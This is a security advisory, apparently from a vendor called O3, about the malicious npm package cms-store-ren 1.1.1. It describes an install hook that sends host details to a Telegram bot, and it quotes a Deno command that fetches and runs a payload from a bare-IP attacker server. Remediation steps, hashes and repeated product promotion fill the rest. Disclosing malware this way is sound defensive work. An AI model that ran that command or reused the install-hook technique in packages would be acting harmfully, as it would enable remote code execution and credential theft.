Which versions of cms-store-ren are malicious?

The following npm versions of cms-store-ren are flagged malicious: 1.1.1. Treat any of these as compromised.

How do I remediate cms-store-ren if I installed it?

cms-store-ren is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed cms-store-ren — how do I know if it already compromised me?

If cms-store-ren was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is cms-store-ren part of a known attack campaign?

Yes — cms-store-ren is associated with the IN-MAL-2026-005549, IN-MAL-2026-005550 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find cms-store-ren across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for cms-store-ren (version 1.1.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging cms-store-ren across your stack and pipelines.

Malicious package

cms-store-rennpm

Malicious code in cms-store-ren (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5364

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall cms-store-ren

What this malware does

The package's scripts.install runs install.js on every npm install. The script unconditionally POSTs the installer's hostname, OS, and architecture to api.telegram.org using a hardcoded bot token and chat ID (install.js:7 BOT_TOKEN = '8877182499:...', install.js:50-56 builds the message and sends via sendTelegramMessage()). On Windows, the same script writes a hidden PowerShell bootstrapper that installs Scoop/Winget and Deno, then executes deno -A http://77.90.185.225/deee80f30a6921b4.js — fetching an arbitrary JavaScript payload from a bare-IP HTTP URL and running it with all Deno permissions under a hidden PowerShell window. The package has no legitimate functionality (index.js only logs a string; placeholder author work1, description cms install) and exists solely to deliver the install-time payload. Both install-time host reconnaissance exfiltration and install-time arbitrary remote code execution from attacker infrastructure are present.

The OpenSSF Package Analysis project identified 'cms-store-ren' @ 1.1.1 (npm) as malicious.

It is considered malicious because:

The package communicates with a domain associated with malicious activity.

Malicious versions

1 flagged

1.1.1

Indicators of compromise (SHA-256)

1e0e43b074cffbde07a16c0b1ae1645b1edebcfa7fe192f6161237b0f011952d

da3593e36ce898d648883ea6f911a5cec1f75f9e8bda5585f7ff5f8754c821de

7d7f0ddfa720bc522473f92b17681d0c2092724865c30103b7c2cb558b9b5629

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for cms-store-ren (version 1.1.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging cms-store-ren across your stack and pipelines.
If you installed it — respond
cms-store-ren is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If cms-store-ren was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks cms-store-ren before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. cms-store-ren on npm has been identified as a malicious package (version 1.1.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005549IN-MAL-2026-005550

References

npmjs.com

Credits

Amazon Inspector · finder
OpenSSF: Package Analysis · finder

Detect & block this

O3 blocks cms-store-ren-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring